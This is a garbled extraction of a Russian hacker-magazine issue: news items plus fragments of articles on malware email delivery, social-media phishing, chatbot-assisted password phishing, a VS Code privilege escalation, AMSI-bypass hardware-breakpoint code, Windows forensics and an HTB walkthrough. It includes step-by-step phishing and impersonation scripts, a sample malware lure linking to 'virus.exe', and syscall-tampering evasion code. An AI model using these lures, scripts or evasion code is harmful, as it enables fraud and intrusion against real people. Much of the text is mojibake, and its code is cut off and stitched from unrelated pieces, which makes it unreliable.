Академический Документы
Профессиональный Документы
Культура Документы
CONTENTS
MEGANews
Самые важные события в мире инфосека за октябрь
Письмо с сюрпризом
Изучаем уловки и хитрости для доставки писем с малварью
Фишинг в соцсетях
Как социальные сети помогают хакерам
ChatGPT на рыбалке
Выманиваем пароль при помощи QR-кода и чат-бота
LPE на казенном макбуке
Злоупотребляем установкой VS Code для локального повышения привилегий
Железный бряк
Используем хардверные брейк-пойнты в пентестерских целях
WiX-фикс
Исследуем инсталлятор Windows Installer XML Toolset
Уроки форензики
Большой гид по артефактам Windows
HTB Format
Проксируем запросы в Redis через мисконфиг Nginx
HTB PC
Манипулируем протоколом gRPC при взломе сервера
HTB Intentions
Эксплуатируем сложную SQL-инъекцию для дампа базы данных
HTB Jupiter
Выполняем произвольный код с помощью Jupyter и SatTrack
Инструменты разведчика
Извлекаем данные из Instagram, Telegram, GitHub и других источников
Сделай мне красиво
Изобретаем персональный нейросетевой фотоувеличитель
Шелл-код для ARM
Пишем на ассемблере свой реверс-шелл для устройств на ARM
Веселые хеши
Реализуем технику API Hashing, чтобы обдурить антивирус
The Possessor
Делаем аналог СОРМ-2 на Linux и RouterOS
Pwnagotchi
Собираем хакерский девайс с искусственным интеллектом
Титры
Кто делает этот журнал
Мария «Mifrill» Нефёдова
nefedova@glc.ru
ОТРАЖЕН
МОЩНЕЙШИЙ DDOS
В ИСТОРИИ
То есть, инициируя сотни тысяч потоков HTTP/2 и быстро отменяя их, зло-
»
умышленники могут полностью выводить сайты из строя, не превышая мак-
симальное количество потоков, разрешенное сервером. Еще один важный
аспект этой проблемы в том, что эти атаки могут быть реализованы силами
относительно небольших ботнетов, состоящих примерно из 20 тысяч машин.
С утечками информации чаще всего сталкиваются компании из сферы ретейла (37%), финан-
сового сектора (20%) и игровой индустрии (10%). Общий объем опубликованных данных уже
составляет 91,8 Тбайт.
УТЕКЛИ ИСХОДНИКИ
HELLOKITTY
Продолжение статьи →
← Начало статьи
ОБНАРУЖЕНЫ
ANDROID-ДЕВАЙСЫ
С БЭКДОРОМ
Такие устройства производятся в Китае, и перед тем, как они попадают в руки
реселлеров, в их прошивку добавляется бэкдор. При этом неизвестно,
на каком этапе цепочки поставок происходит компрометация. В посвященной
Badbox части отчета эксперты отмечают, что бюджетные Android-приставки
для потокового видео (как правило, стоимостью менее 50 долларов) зачас-
тую продаются под разными брендами или вообще его не имеют, так что
проследить их происхождение и цепочку поставок может быть затруднитель-
но.
По словам специалистов, обнаруженный бэкдор основан на мобильной
малвари Triada, впервые обнаруженной в 2016 году «Лабораторией Каспер-
ского». Этот вредонос модифицирует один из элементов ОС Android, получая
доступ к установленным на устройстве жертвы приложениям, а после свя-
зывается со своими операторами.
Самая крупная атака этого квартала достигла пиковой мощности в 201 миллион запросов
в секунду, что в три раза превышает предыдущий рекорд, установленный в фев-
рале 2023 года.
MICROSOFT
ЗАПРЕТИТ
АКТИВАЦИЮ
СТАРЫМИ КЛЮЧАМИ
Также, по его словам, под ограничения попадают более 590 000 информационных ресурсов,
более 2000 фишинговых сайтов, более 84 приложений и более 20 «центров распространения
вредоносного ПО». При этом 17 500 IP-адресов включены в «белый список» и исключены
из фильтрации в системах блокировки ТСПУ (технические средства противодействия угрозам).
Продолжение статьи →
← Начало статьи
АРЕСТОВАН
РАЗРАБОТЧИК
RAGNAR LOCKER
УЯЗВИМОСТИ CURL
ОКАЗАЛИСЬ
НЕСТРАШНЫМИ
При этом даже сам Стенберг сообщил, что наиболее реалистичный сценарий
»
атаки на CVE-2023-38545 предполагает, что пользователь браузера Tor,
который часто использует протокол SOCKS5, подключится к взломанному
HTTPS-сайту.
Однако с такой позицией согласны не все. К примеру, известный
ИБ-эксперт Мэттью Хики (Matthew Hickey, он же hackerfantastic) заявил, что
SOCKS5 может быть не слишком популярен в бизнес-среде, однако его часто
используют исследователи и разработчики в области ИБ.
« «Íà ñàìîì äåëå ýòî äîâîëüíî ÷àñòî ñëó÷àåòñÿ, êîãäà ëþäè çàï-
ðàøèâàþò API äëÿ òåñòèðîâàíèÿ áåçîïàñíîñòè, îòëàäêè èëè äðóãîé
òåõíè÷åñêîé ðàáîòû. Òàêæå ýòî ÷àñòî âñòðå÷àåòñÿ ïðè ïðîâåðêå ñåð-
âèñîâ Tor ñ èñïîëüçîâàíèåì òàêèõ èíñòðóìåíòîâ, êàê curl, êîãäà
äëÿ âûïîëíåíèÿ çàïðîñà îáû÷íî òðåáóåòñÿ SOCKS5-ïðîêñè», — ðàñ-
ñêàçûâàåò Õèêè.
Для достижения отметки в 400 миллионов устройств ОС потребовалось около двух лет. И это
заметно медленнее, чем у Windows 10, которая достигла аналогичного числа установок
за один год (а в 2020 году добиралась до отметки в миллиард пользователей). Тем не менее
в Microsoft уверяют, что с точки зрения пользовательской базы Windows 11 оказалась более
успешной, чем ожидала компания.
МАССОВЫЕ АТАКИ
НА CISCO IOS XE
Наряду с ними в группе риска оказались IT-компании из сегмента малого и среднего биз-
неса — интернет-ретейлеры, интеграторы, разработчики ПО.
Также количество атак вымогателей за девять месяцев 2023 года выросло на 75%. Средняя
сумма выкупа за расшифровку данных превысила 37 миллионов рублей, а самый крупный
выкуп потребовали вымогатели из группы Shadow — 200 миллионов рублей.
Обычно Shadow требует от жертвы крупный выкуп (в размере 5–10% от годового дохода ком-
пании) за то, чтобы расшифровать данные и не публиковать похищенную информацию.
Продолжение статьи →
← Начало статьи
УЯЗВИМОСТИ
В SQUID
ИСПРАВЛЯЮТ 2,5
ГОДА
MICROSOFT
ОТКАЗЫВАЕТСЯ
ОТ VBSCRIPT
УСТРОЙСТВАМ APPLE
УГРОЖАЕТ ILEAKAGE
ИЗУЧАЕМ УЛОВКИ
И ХИТРОСТИ ДЛЯ ДОСТАВКИ
ПИСЕМ С МАЛВАРЬЮ
ÂËÎÆÅÍÈß È ÔÀÉËÛ
PDF-ÔÀÉËÛ
На рисунке ниже изображен твит (или как там теперь это правильно называ-
ется) с упоминанием вредоносной атаки. Если что, не серчай на перевод
от Google Translate.
HTML-ÔÀÉËÛ
ÀÐÕÈÂÛ Ñ ÏÀÐÎËÅÌ
« Äîáðûé äåíü.
Ïðèêëàäûâàþ àðõèâ ñ äîêóìåíòàìè.
 öåëÿõ áåçîïàñíîñòè àðõèâ çàùèùåí ïàðîëåì.
Ïàðîëü îò àðõèâà: 12345
Ñ óâàæåíèåì, Àíäðåé Ïåòðîâ
В такое название файла удалось вставить около 280 пробелов. Поэтому если
у пользователя окно просмотра названия файла раздвинуто вправо, то он
увидит .exe, но так бывает нечасто.
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
ÔÀÉË ICS
<https://disk.yandex.ru/d/UAB58lN5VE173A>
<https://icast.ru/virus.exe>
Делаем вывод, что, если хотим привлекать меньше внимания к файлу, надо
загружать его в облачное хранилище.
Логика жертвы такая: раз письмо видят и бухгалтер, и директор, значит, лучше
сделать то, что требуется. Все бы ничего, но в копии указаны email-адреса,
имитирующие коллег жертвы, на самом деле это несуществующие адреса
(см. рисунок ниже).
Но если в первом email еще можно разглядеть букву s со штрихом внизу,
то во втором кириллическую букву визуально отличить от латинской невоз-
можно.
При наведении курсора мыши email виден тот же, с поддельной буквой.
ÈÒÎÃÈ
ÏÎÄÃÎÒÎÂÊÀ
Ответ, как правило, укладывается в один из трех вариантов: да, нет, а что?
»
Если ответ утвердительный, пишем: «Жаль, конечно, в хорошем смысле,
но ладно, успехов Вам!» Жертве станет любопытно, и она опять же спросит:
«А что?»
Говорим: «Так как речь идет о работе, я не хочу, чтобы меня обвиняли
в переманивании, поэтому вы можете ознакомиться с информацией в откры-
том доступе самостоятельно (тут ссылка на фишинговую форму авторизации
в соцсети). Только, если что, Вы нашли ее случайно :)».
Если мы нацелены получить доступ к телефону или компьютеру жертвы, то
предлагаем отправить файл: «Так как речь идет о работе, я не хочу, чтобы
меня обвиняли в каком-то там переманивании. Но если Вам интересна
работа по специальности, с более высокой зарплатой и действительно адек-
ватным руководителем, я могу отправить файл на Вашу личную почту».
Или делаем другое окончание: «...и действительно адекватным руководите-
лем, то прикрепляю небольшую анкету».
Ну и после этого отправляем потенциальной жертве документ с макросом
или фишинговую ссылку. Если на первоначальный вопрос жертва пишет
«Нет», вычеркиваем человека из нашего рабочего списка, так как нам за таких
не платят.
ÊËÎÍÈÐÎÂÀÍÈÅ ÀÊÊÀÓÍÒÎÂ
Вновь созданный аккаунт будет вызывать больше доверия, если это фей-
ковый профиль коллеги, друга, знакомого потенциальной жертвы. Создавая
фейковую копию аккаунта коллеги, используй подмену символов.
Как мошенники в Telegram создают копии известных групп и профилей, так
и ты можешь использовать этот прием, когда указываешь имя аккаунта, —
в благих целях, разумеется.
Например, мошенники в своих «методичках» именно так и рекомендуют
поступать в известной соцсети с фотографиями, например вместо точки
использовать нижнее подчеркивание и наоборот: скажем, yu.ra вместо yu_ra.
Не забываем и про классический тайпсквоттинг, когда символы заменяют
похожими или добавляют лишние, например valeron меняем на valer0n.
Если пользователь вдруг заметит подвох и спросит, почему ты пишешь
с нового аккаунта, скажи, что ты потерял доступ к старому, а восстановить его
не получается.
ÌÅÄËÅÍÍÎ, ÍÎ ÂÅÐÍÎ
ÌÍÎÃÎÕÎÄÎÂÊÀ Â ÑÎÖÑÅÒÈ
ÏÎÌÎÙÜ ÏÎ ÇÀÏÐÎÑÓ
ÂÛÂÎÄÛ
ВЫМАНИВАЕМ ПАРОЛЬ
ПРИ ПОМОЩИ QR-КОДА
И ЧАТ-БОТА
ÇÀÄÀ×À
ÏÐÎÁËÅÌÛ
ÐÅØÅÍÈÅ
ÑÖÅÍÀÐÈÉ ÐÀÑÑÛËÊÈ
API OpenAI корректно воспринял заданный стартовый ввод («Ты веселый бот
IT-поддержки сотрудников банка Х, расположенного в Y») и дальше выдавал
вполне релевантные ответы попавшимся на рассылку сотрудникам.
ÂÛÂÎÄÛ
ЗЛОУПОТРЕБЛЯЕМ УСТАНОВКОЙ
VS CODE ДЛЯ ЛОКАЛЬНОГО
ПОВЫШЕНИЯ ПРИВИЛЕГИЙ
ÌÎÄÈÔÈÖÈÐÓÅÌ VS CODE
$ pwd
/Applications/Visual Studio Code.app
$ grep -r 'installShellCommand'
./Contents/Resources/app/out/vs/code/electron-main/main.js:... async
installShellCommand(T){const{source:U,target:H}=await
this.n();try{const{symbolicLink:re}=await
p.SymlinkSupport.stat(U);if(re&&!re.dangling){const
Y=await(0,u.realpath) (U);if(H===Y)return}await
p.Promises.unlink(U)}catch(re){if(re.code!=="ENOENT")throw re}try{await
p.Promises.symlink(H,U)}catch(re)
{if(re.code!=="EACCES"&&re.code!=="ENOENT")throw
re;const{response:Y}=await this.showMessageBox(T,{type:"info",message:
(0,y.localize) (0,null,this.h.nameShort),buttons:[(0,y.localize)
(1,null),(0,y.localize)(2,null)]});if(Y===0)try{const ne=osascript -e
"do shell script \"mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\"
with administrator privileges";await(0,O.promisify)(E.exec)
(ne)}catch{throw new Error((0,y.localize)(3,null,U))}}} ...
До выполнения скам-команды
Выполнение скам-команды
ÂÛÂÎÄ
ИСПОЛЬЗУЕМ ХАРДВЕРНЫЕ
БРЕЙК-ПОЙНТЫ
В ПЕНТЕСТЕРСКИХ ЦЕЛЯХ
делать.
Такие точки останова можно ставить где угодно и сколько угодно. Никаких
ограничений нет.
ÎÁÐÀÁÎÒÊÀ ÈÑÊËÞ×ÅÍÈÉ
Любые исключения могут быть обработаны. Здесь есть два пути — VEH
(Vectored Exception Handling) и SEH (Structured Exception Handling). Отдельно я
выделю еще UEH (Unhandled Exception Handling). Начнем с SEH. SEH — стан-
дартный блок __try — __finally, __try — __except.
#include <iostream>
#include <Windows.h>
int main() {
int a = 2 - 2;
int b = 3;
__try {
std::cout << b / a << std::endl;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
std::cout << "EXCEPTION" << std::endl;
}
return 0;
}
SEH можно считать надстройкой над конструкцией try — except из С++. В SEH
в блок __except добавляются специальные значения, в зависимости
от которых может меняться поведение обработчика исключений:
• EXCEPTION_EXECUTE_HANDLER — система передает управление в обра-
ботчик исключения. То есть будет поведение, как в коде выше;
• EXCEPTION_CONTINUE_SEARCH — эта конструкция заставляет систему
перейти к предыдущему блоку try, которому соответствует блок except,
и обработать этот блок. То есть система игнорирует текущий обработчик
исключений и пытается найти обработчик исключений в охватывающем
блоке (или блоках);
• EXCEPTION_CONTINUE_EXECUTION — обнаружив такое значение, сис-
тема возвращается к инструкции, вызвавшей исключение, и пытается
выполнить ее снова.
#include <iostream>
#include <cstddef>
#include <Windows.h>
char g_szBuffer[100];
int main() {
int x = 0;
char* pchBuffer = NULL;
__try {
*pchBuffer = 'J';
x = 5 / x;
}
__except (Filter(&pchBuffer)) {
MessageBox(NULL, L"An exception occurred", NULL, MB_OK);
}
MessageBox(NULL, L"Function completed", NULL, MB_OK);
return 0;
}
Пример EXCEPTION_CONTINUE_EXECUTION
PVOID AddVectoredExceptionHandler(
ULONG FirstHandler,
PVECTORED_EXCEPTION_HANDLER VectoredHandler)
#include <iostream>
#include <windows.h>
#include <errhandlingapi.h>
return EXCEPTION_CONTINUE_SEARCH;
}
int main()
{
if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) ==
nullptr)
{
std::cout << "Failed to add the exception handler!" << std::endl;
return 1;
}
int* p = nullptr;
*p = 42; // Исключение возникает тут
return 0;
}
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
[in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);
#include <iostream>
#include <windows.h>
return EXCEPTION_CONTINUE_SEARCH;
}
int main()
{
if (SetUnhandledExceptionFilter(MyUnhandledExceptionHandler) ==
nullptr)
{
std::cout << "Failed to set the unhandled exception filter!" << std
::endl;
return 1;
}
int* p = nullptr;
*p = 42;
return 0;
}
Обрати внимание, что если ты запустишь этот код в Visual Studio, то она
выдаст ошибку до UEF.
Вызов обработчика
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
}
}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение
дальше
return EXCEPTION_CONTINUE_SEARCH;
}
#include <iostream>
#include <windows.h>
}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение
дальше
return EXCEPTION_CONTINUE_SEARCH;
}
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(GetCurrentThread(), &context);
}
int main()
{
return 0;
}
Здесь был установлен HWBP по адресу функции printf(). Как только сис-
тема дошла до вызова этой функции, сработало исключение, вызвался обра-
ботчик исключений, вывел содержимое регистров, а затем вернул управле-
ние на функцию, что привело к появлению в консоли Hello, world!.
Сработавший HWBP
ÎÁÕÎÄ AMSI
Отдельный метод
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );
Следом идет поиск адреса Nt* функции и установка бряка на адрес syscall
этой функции. Для этого точка останова ставится непосредственно на саму
инструкцию. Адрес инструкции находится стандартным сканированием
памяти на паттерны (а именно на последовательность байтов 0f05).
context.Dr0 = (DWORD64)address;
context.Dr6 = 0;
context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 16)) | (0 << 16);
context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 18)) | (0 << 18);
context.Dr7 = (context.Dr7 & ~(((1 << 1) - 1) << 0)) | (1 << 0);
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext( GetCurrentThread(), &context );
return;
}
#include "TamperingSyscalls.h"
pNtMapViewOfSectionArgs.SectionHandle = SectionHandle;
pNtMapViewOfSectionArgs.ProcessHandle = ProcessHandle;
pNtMapViewOfSectionArgs.BaseAddress = BaseAddress;
pNtMapViewOfSectionArgs.ZeroBits = ZeroBits;
pNtMapViewOfSectionArgs.CommitSize = CommitSize;
pNtMapViewOfSectionArgs.SectionOffset = SectionOffset;
pNtMapViewOfSectionArgs.ViewSize = ViewSize;
pNtMapViewOfSectionArgs.InheritDisposition = InheritDisposition;
pNtMapViewOfSectionArgs.AllocationType = AllocationType;
pNtMapViewOfSectionArgs.Win32Protect = Win32Protect;
fNtMapViewOfSection = (typeNtMapViewOfSection)FunctionAddress;
EnumState = NTMAPVIEWOFSECTION_ENUM;
typedef struct {
HANDLE SectionHandle;
HANDLE ProcessHandle;
PVOID BaseAddress;
ULONG ZeroBits;
SIZE_T CommitSize;
PLARGE_INTEGER SectionOffset;
PSIZE_T ViewSize;
DWORD InheritDisposition;
ULONG AllocationType;
ULONG Win32Protect;
} NtMapViewOfSectionArgs;
// You need to fix your arguments in the right registers and stack
here
switch( EnumState ) {
// RCX moved into R10!!! Kudos to @anthonyprintup for catching this
case NTMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->BaseAddress;
ExceptionInfo->ContextRecord->R9 =
(DWORD_PTR)((NtMapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ZeroBits;
break;
case NTUNMAPVIEWOFSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->ProcessHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtUnmapViewOfSectionArgs*)(StateArray[EnumState].
arguments))->BaseAddress;
break;
case NTOPENSECTION_ENUM:
ExceptionInfo->ContextRecord->R10 =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->SectionHandle;
ExceptionInfo->ContextRecord->Rdx =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->DesiredAccess;
ExceptionInfo->ContextRecord->R8 =
(DWORD_PTR)((NtOpenSectionArgs*)(StateArray[EnumState].arguments))
->ObjectAttributes;
break;
ÀÍÕÓÊÈÍÃ
#include <iostream>
#include <Windows.h>
#ifdef _WIN64
void ShowContext(CONTEXT ctx) {
std::cout << "Context values:" << std::endl;
std::cout << "P1Home: " << ctx.P1Home << std::endl;
std::cout << "P2Home: " << ctx.P2Home << std::endl;
std::cout << "P3Home: " << ctx.P3Home << std::endl;
std::cout << "P4Home: " << ctx.P4Home << std::endl;
std::cout << "P5Home: " << ctx.P5Home << std::endl;
std::cout << "P6Home: " << ctx.P6Home << std::endl;
std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
std::cout << "MxCsr: " << ctx.MxCsr << std::endl;
std::cout << "SegCs: " << ctx.SegCs << std::endl;
std::cout << "SegDs: " << ctx.SegDs << std::endl;
std::cout << "SegEs: " << ctx.SegEs << std::endl;
std::cout << "SegFs: " << ctx.SegFs << std::endl;
std::cout << "SegGs: " << ctx.SegGs << std::endl;
std::cout << "SegSs: " << ctx.SegSs << std::endl;
std::cout << "EFlags: " << ctx.EFlags << std::endl;
std::cout << "Dr0: " << ctx.Dr0 << std::endl;
std::cout << "Dr1: " << ctx.Dr1 << std::endl;
std::cout << "Dr2: " << ctx.Dr2 << std::endl;
std::cout << "Dr3: " << ctx.Dr3 << std::endl;
std::cout << "Dr6: " << ctx.Dr6 << std::endl;
std::cout << "Dr7: " << ctx.Dr7 << std::endl;
std::cout << "Rax: " << ctx.Rax << std::endl;
std::cout << "Rcx: " << ctx.Rcx << std::endl;
std::cout << "Rdx: " << ctx.Rdx << std::endl;
std::cout << "Rbx: " << ctx.Rbx << std::endl;
std::cout << "Rsp: " << ctx.Rsp << std::endl;
std::cout << "Rbp: " << ctx.Rbp << std::endl;
std::cout << "Rsi: " << ctx.Rsi << std::endl;
std::cout << "Rdi: " << ctx.Rdi << std::endl;
std::cout << "R8: " << ctx.R8 << std::endl;
std::cout << "R9: " << ctx.R9 << std::endl;
std::cout << "R10: " << ctx.R10 << std::endl;
std::cout << "R11: " << ctx.R11 << std::endl;
std::cout << "R12: " << ctx.R12 << std::endl;
std::cout << "R13: " << ctx.R13 << std::endl;
std::cout << "R14: " << ctx.R14 << std::endl;
std::cout << "R15: " << ctx.R15 << std::endl;
std::cout << "Rip: " << ctx.Rip << std::endl;
}
#endif
void ShowContext32(CONTEXT ctx) {
std::cout << "Context values:" << std::endl;
std::cout << "ContextFlags: " << ctx.ContextFlags << std::endl;
std::cout << "Dr0: " << ctx.Dr0 << std::endl;
std::cout << "Dr1: " << ctx.Dr1 << std::endl;
std::cout << "Dr2: " << ctx.Dr2 << std::endl;
std::cout << "Dr3: " << ctx.Dr3 << std::endl;
std::cout << "Dr6: " << ctx.Dr6 << std::endl;
std::cout << "Dr7: " << ctx.Dr7 << std::endl;
std::cout << "SegGs: " << ctx.SegGs << std::endl;
std::cout << "SegFs: " << ctx.SegFs << std::endl;
std::cout << "SegEs: " << ctx.SegEs << std::endl;
std::cout << "SegDs: " << ctx.SegDs << std::endl;
std::cout << "Edi: " << ctx.Edi << std::endl;
std::cout << "Esi: " << ctx.Esi << std::endl;
std::cout << "Ebx: " << ctx.Ebx << std::endl;
std::cout << "Edx: " << ctx.Edx << std::endl;
std::cout << "Ecx: " << ctx.Ecx << std::endl;
std::cout << "Eax: " << ctx.Eax << std::endl;
std::cout << "Ebp: " << ctx.Ebp << std::endl;
std::cout << "Eip: " << ctx.Eip << std::endl;
std::cout << "SegCs: " << ctx.SegCs << std::endl;
std::cout << "EFlags: " << ctx.EFlags << std::endl;
std::cout << "Esp: " << ctx.Esp << std::endl;
std::cout << "SegSs: " << ctx.SegSs << std::endl;
}
if (value == 2) {
value = 0;
return EXCEPTION_CONTINUE_SEARCH;
}
else {
return EXCEPTION_CONTINUE_EXECUTION;
}
}
void CustomGetThreadContext() {
AddVectoredExceptionHandler(1, Handler);
try {
throw "exception";
}
catch (...) {
RemoveVectoredExceptionHandler(Handler);
return;
}
}
int main() {
CustomGetThreadContext();
return 0;
}
ÑÒÀÂÈÌ ÕÓÊÈ
ÂÛÂÎÄÛ
ИССЛЕДУЕМ ИНСТАЛЛЯТОР
WINDOWS INSTALLER XML
TOOLSET
Похоже, мы вышли на следующий уровень, ибо Xeam Visual Installer — это еще
одна надстройка над WiX. А именно система создания визуальных инстал-
ляторов для тех, кому не нравятся «скучные обои» встроенных в WiX шаблонов
инсталляционных интерфейсов. Покурив тут же нагугленное руководство
по данному пакету, обнаруживаем, что разбираемый нами инсталлятор —
полностью шаблонное приложение Xeam Visual Installer, заточенное вот
под такой шаблон.
БОЛЬШОЙ ГИД
ПО АРТЕФАКТАМ
WINDOWS
Сжатый образ сканирует только занятые участки памяти и копирует их, а если
выбрать несжатый образ — получится полная копия диска. При восстанов-
лении удаленных файлов лучше использовать несжатый образ.
ÌÎÍÒÈÐÓÅÌ ÎÁÐÀÇ
Первым делом монтируем образ диска. Для этого хороша утилита Mount
Image Pro, либо можешь глянуть FTK Imager.
Монтирование в FTK
Монтирование образа
Содержимое R-Studio
C:\Windows\System32\wbem\Repository\OBJECTS.DATA
C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\
Programs\Startup
def ReadRegistryFile(reg):
f = open(reg,'rb')
registry = Registry.Registry(f)
f.close()
return registry
class Service:
Name: str = ''
ImagePath: str = ''
Description: str = ''
DisplayName: str = ''
ServiceDll: str = ''
Timestamp: datetime = datetime.now()
Type: int = 0
def control_set_check(sys_reg):
registry = ReadRegistryFile(sys_reg)
key = registry.open("Select")
for v in key.values():
if v.name() == "Current":
return v.value()
service.ServiceDll = j.value()
result.append(service)
return result
if __name__=="__main__":
parser = argparse.ArgumentParser(
prog='ProgramName',
description='What the program does',
epilog='Text at the bottom of help')
parser.add_argument('--system',help="Path for SYSTEM registry
hive")
args = parser.parse_args()
with open('sw_data_new.csv', 'w+') as f:
writer = csv.writer(f)
writer.writerow(['Имя', 'Описание','Имя на дисплее',
'Путь к файлу','Сервисная DLL', 'Дата создания'])
for i in GetServices(args.system):
writer.writerow([i.Name,i.Description,i.DisplayName,i
.ImagePath, i.ServiceDll,i.Timestamp])
C:\ProgramData\Microsoft\Network\Downloader
Формат базы данных — QMGR. Начиная с Windows 10, она использует фор-
мат Extensible Storage Engine (ESE) и хранится в файле qmgr.db. В более ран-
них версиях Windows ищи файлы qmgr0.dat и qmgr1.dat (информация в них
по большей части дублируется).
Чтобы прочитать эти файлы, тебе понадобится утилита BitsParser. Самое
важное для нас — кто создал задачу и какая команда выполнялась.
Prefetch
Файлы трассировки лежат в C:\Windows\Prefetch. Из них можно почерпнуть
имя выполняемого файла, количество запусков, списки файлов, с которыми
взаимодействовал исполняемый файл, а также временные метки: время
и дату первого запуска, время изменения и время последних семи запусков.
Утилиты для анализа:
• WinPrefetchView;
• PECmd.
Amcache
Amcache — куст реестра Windows, который хранит информацию о запущен-
ных приложениях, путь, временную метку первого запуска и SHA-1-хеш фай-
ла. Этот файл ты найдешь здесь:
C:\Windows\appcompat\Programs\Amcache.hve
Shimcache
Shimcache — это механизм, который обеспечивает обратную совместимость
старых приложений с более новыми версиями Windows. Его параметры хра-
нятся в кусте реестра SYSTEM:
C:\Windows\System32\config
Ключи:
• CurrentControlSet\Control\Session;
• Manager\AppCompatCache\AppCompatCache.
В кеше можно найти путь к файлу, размер файла, время последнего изме-
нения, время последнего обновления Shimcache, флаг выполнения процес-
са. В зависимости от версии Windows этот список может слегка различаться.
Анализировать кеш удобно утилитой AppCompatCacheParser.exe:
UserAssist
В файле куста реестра пользователя NTUSER.DAT есть ключ UserAssist,
помогающий отслеживать выполняемые программы. Здесь можно найти дан-
ные о приложениях, запущенных определенным пользователем через про-
водник Windows. Исполняемые файлы, запущенные из командной строки,
не отображаются. Информация записана в двоичном виде.
Ключи реестра UserAssist хранятся вот в этой ветке:
Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\
Count\
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
БОЛЬШОЙ ГИД
ПО АРТЕФАКТАМ WINDOWS
C:\Users\<User>\AppData\Local\ConnectedDevicePlatform\L.<username>
Äåéñòâèÿ ïîëüçîâàòåëåé
Часто инциденты происходят по вине пользователя, к примеру когда он заг-
ружает программы из непроверенных источников или запускает вредоносные
вложения из почты. Давай рассмотрим артефакты, которые позволяют
понять, что конкретно он делал.
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\
RecentDocs
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\
ComDlg32
C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Recent
Shellbags
Shellbags — это набор ключей реестра, которые содержат сведения о прос-
матриваемых пользователем каталогах. Начиная с Windows 7, этот артефакт
хранится в кусте реестра
C:\Users\<user>\AppData\Local\Micrososft\Windows\UsrClass.dat
SRUM
Эта легкая для запоминания аббревиатура означает System Resource
Utilization Monitor. С восьмой версии в Windows появилась возможность
отслеживать используемые приложениями ресурсы. Этот артефакт рас-
положен в файле C:\Windows\System32\sru\SRUDB.dat. Информация
записывается в базу каждый час и при выключении компьютера.
В базе хранятся следующие артефакты: сетевые подключения, исполь-
зование сети, энергопотребление, данные push-уведомлений, а также
использование ресурсов приложениями. Анализ активности сети и сетевых
подключений помогает определить, когда компьютер был подключен
к интернету и каким способом, а также количество полученных и отправ-
ленных приложением данных в байтах. Мы анализировали этот артефакт
при решении кейса Pwned-DC.
Инструменты для анализа:
• SRUM-DUMP — этот инструмент использует шаблон Excel для вывода соб-
ранных данных в таблицу;
• SrumECmd.
Äàííûå áðàóçåðîâ
Браузер нынче самая главная программа на компьютере, и многие действия
пользователь совершает именно в ней. Здесь же найдутся и важные для рас-
следования артефакты. Например, в ходе фишинговых атак злоумышленники
рассылают сообщения, содержащие либо ссылку на вредоносный файл, либо
сам файл. Информация о загрузке пользователем такого файла попадет
в журнал браузера.
Профиль браузера Firefox:
C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\[profileID]
Профиль Chrome:
C:\Users\<User>\AppData\Local\Google\Chrome\User Data\Default
C:\Users\<User>\AppData\Local\Microsoft\Windows\History\index.dat
C:\Users\<user>\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory
Кеш IE:
C:\Users\<User>\Appdata\Local\Microsoft\Windows\Temporary Internet
Files\Content.IE5
C:\Users\<User>\AppData\Local\Microsoft\Edge\User Data\Default
ÂÛÂÎÄÛ
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.213 format.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
Мы сразу можем поискать открытые репозитории и пользователей.
Исходные коды нашли, а сайта пока не видно. Поскольку нам известно реаль-
ное доменное имя, нужно просканировать поддомены. Вдруг там доступны
другие сайты? Для этого будем использовать утилиту ffuf.
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÒÎ×ÊÀ ÎÏÎÐÛ
Начинаем изучать исходный код приложения и на втором сайте находим
потенциальную уязвимость инъекции команд ОС в функции
provisionProUser из файла edit/index.php. После предварительной про-
верки isPro() == true (строка 26) в функцию system передается результат
